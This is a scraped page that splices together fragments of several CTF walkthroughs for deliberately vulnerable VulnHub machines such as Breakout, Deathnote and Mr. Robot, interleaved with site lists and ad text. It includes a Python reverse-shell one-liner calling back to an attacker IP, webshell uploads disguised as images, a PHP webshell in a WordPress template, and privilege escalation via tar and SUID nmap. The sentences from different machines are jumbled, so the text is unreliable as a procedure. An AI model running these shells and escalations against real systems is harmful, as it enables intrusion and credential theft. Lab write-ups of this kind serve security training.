The torrent downloadable URL is also available for this VM; it has been added in the reference section of this article. Command used: << wpscan url http://deathnote.vuln/wordpress/ >>. As seen in the output above, the command could not be run as user l does not have sudo permissions on the target machine. Use the elevator then make your way to the location marked on your HUD. [CLICK IMAGES TO ENLARGE]. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. This is Breakout from Vulnhub. We tried to write the PHP command execution code in the PHP file, but the changes could not be updated as they showed some errors. Trying with username eezeepz and password discovered above, I was able to login and was then redirected to an image upload directory. So, let us identify other vulnerabilities in the target application which can be explored further. This could be a username on the target machine or a password string. This means that the HTTP service is enabled on the apache server. However, enumerating these does not yield anything. You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out from, which holds the key to a mystery. Download & walkthrough links are available. 14. We got one of the keys! So, let us download the file on our attacker machine for analysis. Also, its always better to spawn a reverse shell. Let us start the CTF by exploring the HTTP port. The same was verified using the cat command, and the commands output shows that the mentioned host has been added. After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. The target machine IP address may be different in your case, as the network DHCP assigns it. I am using Kali Linux as an attacker machine for solving this CTF. So, we need to add the given host into our, etc/hosts file to run the website into the browser. It's themed as a throwback to the first Matrix movie. Before executing the uploaded shell, I opened a connection to listed on the attacking box and as soon as the image is opened//executed, we got our low-priv shell back. 10 4 comments Like Comment See more of Vuln Hub on Facebook Log In or Create new account LFI After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. We can employ a web application enumeration tool that uses the default web application directory and file names to brute force against the target system. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. Then, we used the credentials to login on to the web portal, which worked, and the login was successful. It can be seen in the following screenshot. api writable path abuse If you havent done it yet, I recommend you invest your time in it. We analyzed the encoded string and did some research to find the encoding with the help of the characters used in the string. The CTF or Check the Flag problem is posted on vulnhub.com. We will use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. development The file was also mentioned in the hint message on the target machine. Then, we used John the ripper for cracking the password, but we were not able to crack the password of any user. We changed the URL after adding the ~secret directory in the above scan command. This VM shows how important it is to try all possible ways when enumerating the subdirectories exposed over port 80. Nmap also suggested that port 80 is also opened. This seems to be encrypted. Let us use this wordlist to brute force into the target machine. Merely adding the .png extension to the backdoor shell resulted in successful upload of the shell, and it also listed the directory where it got uploaded. VM LINK: https://download.vulnhub.com/empire/02-Breakout.zip, http://192.168.8.132/manual/en/index.html. Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. We opened the target machine IP address on the browser. Difficulty: Basic, Also a note for VMware users: VMware users will need to manually edit the VMs MAC address to: 08:00:27:A5:A6:76. Greetings! In this case, I checked its capability. Doubletrouble 1 Walkthrough. limit the amount of simultaneous direct download files to two files, with a max speed of 3mb. This, however, confirms that the apache service is running on the target machine. When we checked the robots.txt file, another directory was mentioned, which can be seen in the above screenshot. Usermin is a web-based interface used to remotely manage and perform various tasks on a Linux server. The scan results identified secret as a valid directory name from the server. Difficulty: Medium-Hard File Information Back to the Top So, let us rerun the FFUF tool to identify the SSH Key. The identified username and password are given below for reference: Let us try the details to login into the target machine through SSH. It can be seen in the following screenshot. However, when I checked the /var/backups, I found a password backup file. As usual, I started the exploitation by identifying the IP address of the target. As a hint, it is mentioned that enumerating properly is the key to solving this CTF. Sticking to the goal and following the same pattern of key files, we ran a quick check across the file system with command like find / -name key-2-of-3.txt. Prior versions of bmap are known to this escalation attack via the binary interactive mode. For me, this took about 1 hour once I got the foothold. The hint also talks about the best friend, the possible username. It will be visible on the login screen. So now know the one username and password, and we can either try to login to the web portal or through the SSH port. While exploring the admin dashboard, we identified a notes.txt file uploaded in the media library. However, the webroot might be different, so we need to identify the correct path behind the port to access the web application. Please try to understand each step. Your goal is to find all three. By default, Nmap conducts the scan on only known 1024 ports. web We will be using the Dirb tool as it is installed in Kali Linux. So at this point, we have one of the three keys and a possible dictionary file (which can again be list of usernames or passwords. This is the second in the Matrix-Breakout series, subtitled Morpheus:1. Below are the nmap results of the top 1000 ports. 4. By default, Nmap conducts the scan only on known 1024 ports. I am using Kali Linux as an attacker machine for solving this CTF. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. By default, Nmap conducts the scan only known 1024 ports. On the home page, there is a hint option available. Note: the target machine IP address may be different in your case, as the network DHCP is assigning it. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh), $ python3 -c import pty; pty.spawn(/bin/bash), [cyber@breakout ~]$ ./tar -cf password.tar /var/backups/.old_pass.bak, [cyber@breakout backups]$ cat .old_pass.bak, Your email address will not be published. Vulnhub is a platform that provides vulnerable applications/machines to gain practical hands-on experience in the field of information security. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. We found another hint in the robots.txt file. Command used: << nmap 192.168.1.15 -p- -sV >>. So I run back to nikto to see if it can reveal more information for me. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. So let us open this directory into the browser as follows: As seen in the above screenshot, we found a hint that says the SSH private key is hidden somewhere in this directory. It will be visible on the login screen. The root flag can be seen in the above screenshot. We added all the passwords in the pass file. We added another character, ., which is used for hidden files in the scan command. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. However, the scan could not provide any CMC-related vulnerabilities. Obviously, ls -al lists the permission. << ffuf -u http://192.168.1.15/~FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .php,.txt >>. Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. Please remember that the techniques used are solely for educational purposes: I am not responsible if the listed techniques are used against any other targets. The Drib scan generated some useful results. So, let us open the file important.jpg on the browser. Enumerating HTTP Port 80 with Dirb utility, Taking the Python reverse shell and user privilege escalation. I looked into Robots directory but could not find any hints to the third key, so its time to escalate to root. The ping response confirmed that this is the target machine IP address. suid abuse As usual, I checked the shadow file but I couldnt crack it using john the ripper. We have to identify a different way to upload the command execution shell. Have a good days, Hello, my name is Elman. We tried to login into the target machine as user icex64, but the login could not be successful as the key is password protected. Let's see if we can break out to a shell using this binary. javascript Funbox CTF vulnhub walkthrough. The walkthrough Step 1 After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. Launching wpscan to enumerate usernames gives two usernames, Elliot and mich05654. In the command, we entered the special character ~ and after that used the fuzzing parameter, which should help us identify any directories or filenames starting with this character. ssti Although this is straightforward, this is slightly difficult for people who don't have enough experience with CTF challenges and Linux machines. Download the Fristileaks VM from the above link and provision it as a VM. hackthebox The ping response confirmed that this is the target machine IP address. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. sql injection This is a method known as fuzzing. Krishna Upadhyay on Vikings - Writeup - Vulnhub - Walkthrough February 21, 2023. Each key is progressively difficult to find. Lets start with enumeration. Style: Enumeration/Follow the breadcrumbs In the comments section, user access was given, which was in encrypted form. file.pysudo. Quickly looking into the source code reveals a base-64 encoded string. Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. Kali Linux VM will be my attacking box. HackTheBox Timelapse Walkthrough In English, HackTheBox Trick Walkthrough In English, HackTheBox Ambassador Walkthrough In English, HackTheBox Squashed Walkthrough In English, HackTheBox Late Walkthrough In English. The target application can be seen in the above screenshot. remote command execution Using this username and the previously found password, I could log into the Webmin service running on port 20000. Command used: << netdiscover >> sudo netdiscover -r 192.168.19./24 Ping scan results Scan open ports Next, we have to scan open ports on the target machine. computer The Usermin application admin dashboard can be seen in the below screenshot. However, for this machine it looks like the IP is displayed in the banner itself. This is an apache HTTP server project default website running through the identified folder. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. Next, I checked for the open ports on the target. Vulnhub HackMePlease Walkthrough linux Vulnhub HackMePlease Walkthrough In this, you will learn how to get an initial foothold through the web application and exploit sudo to get the privileged shell Gurkirat Singh Aug 18, 2021 4 min read Reconnaissance Initial Foothold Privilege Escalation Running it under admin reveals the wrong user type. In CTF challenges, whenever I see a copy of a binary, I check its capabilities and SUID permission. The IP of the victim machine is 192.168.213.136. So, in the next step, we will be escalating the privileges to gain root access. So, we intercepted the request into burp to check the error and found that the website was being redirected to a different hostname. Just above this string there was also a message by eezeepz. Per this message, we can run the stated binaries by placing the file runthis in /tmp. This is Breakout from Vulnhub. Please comment if you are facing the same. hackmyvm We identified a few files and directories with the help of the scan. After a few attempts, the username Kira worked on the login page, and the password was also easily guessed from the hint messages we had read earlier. After that, we tried to log in through SSH. Nevertheless, we have a binary that can read any file. cronjob After completing the scan, we identified one file that returned 200 responses from the server. My goal in sharing this writeup is to show you the way if you are in trouble. Robot. Then we again spent some time on enumeration and identified a password file in the backup folder as follows: We ran ls l command to list file permissions which says only the root can read and write this file. Vulnhub - Driftingblues 1 - Walkthrough - Writeup . Robot [updated 2019], VulnHub Machines Walkthrough Series: Brainpan Part 1, VulnHub Machines Walkthrough Series: Brainpan Part 2, VulnHub Machines Walkthrough Series: VulnOSV2, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku. The hint mentions an image file that has been mistakenly added to the target application. So, we used to sudo su command to switch the current user as root. I have. I hope you liked the walkthrough. So, we continued exploring the target machine by checking various files and folders for some hint or loophole in the system. So, let us open the identified directory manual on the browser, which can be seen below. 13. . It tells Nmap to conduct the scan on all the 65535 ports on the target machine. hacksudo So, it is very important to conduct the full port scan during the Pentest or solve the CTF. Below we can see netdiscover in action. When we opened the target machine IP address into the browser, the website could not be loaded correctly. We have terminal access as user cyber as confirmed by the output of the id command. Now that we know the IP, lets start with enumeration. We will be using 192.168.1.23 as the attackers IP address. The versions for these can be seen in the above screenshot. "Vikings - Writeup - Vulnhub - Walkthrough" Link to the machine: https://www.vulnhub.com/entry/vikings-1,741/ "Writeup - Breakout - HackMyVM - Walkthrough" . Using this website means you're happy with this. Offensive Security recently acquired the platform and is a very good source for professionals trying to gain OSCP level certifications. array Here, we dont have an SSH port open. In the highlighted area of the above screenshot, we can see an IP address, our target machine IP address. The string was successfully decoded without any errors. file permissions c In this case, we navigated to /var/www and found a notes.txt. In this post, I created a file in Robot VM from the above link and provision it as a VM. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. To my surprise, it did resolve, and we landed on a login page. It also refers to checking another comment on the page. This means that we can read files using tar. The usermin interface allows server access. I hope you enjoyed solving this refreshing CTF exercise. So, we ran the WPScan tool on the target application to identify known vulnerabilities. Hydra is one of the best tools available in Kali Linux to run brute force on different protocols and ports. VulnHub Walkthrough Empire: BreakOut || VulnHub Complete Walkthrough Techno Science 4.23K subscribers Subscribe 1.3K views 8 months ago Learn More:. Therefore, were running the above file as fristi with the cracked password. 2. The second step is to run a port scan to identify the open ports and services on the target machine. Below we can see that we have inserted our PHP webshell into the 404 template. So lets pass that to wpscan and lets see if we can get a hit. Post-exploitation, always enumerate all the directories under logged-in user to find interesting files and information. So, we collected useful information from all the hint messages given on the target application to login into the admin panel. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. The final step is to read the root flag, which was found in the root directory. blog, Capture the Flag, CyberGuider, development, Hacker, Hacking, Information Technology, IT Security, mentoring, professional development, Training, Vulnerability Management, VulnHub, walkthrough, writeups It's that time again when we challenge our skills in an effort to learn something new daily and VulnHubhas provided yet again. bruteforce Likewise, there are two services of Webmin which is a web management interface on two ports. Also, it has been given that the FastTrack dictionary can be used to crack the password of the SSH key. We have to boot to it's root and get flag in order to complete the challenge. The first step is to run the Netdiscover command to identify the target machines IP address. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. 10. We identified that these characters are used in the brainfuck programming language. At first, we tried our luck with the SSH Login, which could not work. Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. We can do this by compressing the files and extracting them to read. So, we decided to enumerate the target application for hidden files and folders. Lets use netdiscover to identify the same. Defeat the AIM forces inside the room then go down using the elevator. I simply copy the public key from my .ssh/ directory to authorized_keys. Following a super checklist here, I looked for a SUID bit set (which will run the binary as owner rather than who invokes it) and got a hit for nmap in /usr/local/bin. This box was created to be an Easy box, but it can be Medium if you get lost. The password was correct, and we are logged in as user kira. We used the sudo l command to check the sudo permissions for the current user and found that it has full permissions on the target machine. The Notebook Walkthrough - Hackthebox - Writeup Identify the target First of all, we have to identify the IP address of the target machine. Please disable the adblocker to proceed. Vulnhub machines Walkthrough series Mr. we have to use shell script which can be used to break out from restricted environments by spawning . As can be seen in the above screenshot, our attacker machine successfully captured the reverse shell after some time. import os. Below we can see netdiscover in action. We confirm the same on the wp-admin page by picking the username Elliot and entering the wrong password. Knowledge of Linux commands and the previously found password, I recommend you invest time. Picking the username Elliot and mich05654 Matrix movie hackthebox the ping response confirmed that this the. Lets start with enumeration inserted our PHP webshell into the browser this took about 1 hour once got! Infosec, part of Cengage Group 2023 infosec Institute, Inc results the. Months ago Learn more: our, etc/hosts file to run brute force into the browser location marked your. Of simultaneous direct download files to two files, with a max speed of 3mb also... Its capabilities and suid permission with enumeration the mentioned host has been given that the apache is! A base-64 encoded string and did some research to find the encoding with the help the... The robots.txt file, another directory was mentioned, which was in encrypted form box run... By the output of the scan, I checked the shadow file but I couldnt it! Two ports URL is also opened s see if it can reveal more information for me, took... Mentions an image file that returned 200 responses from the network DHCP is assigning it boot to it & x27! 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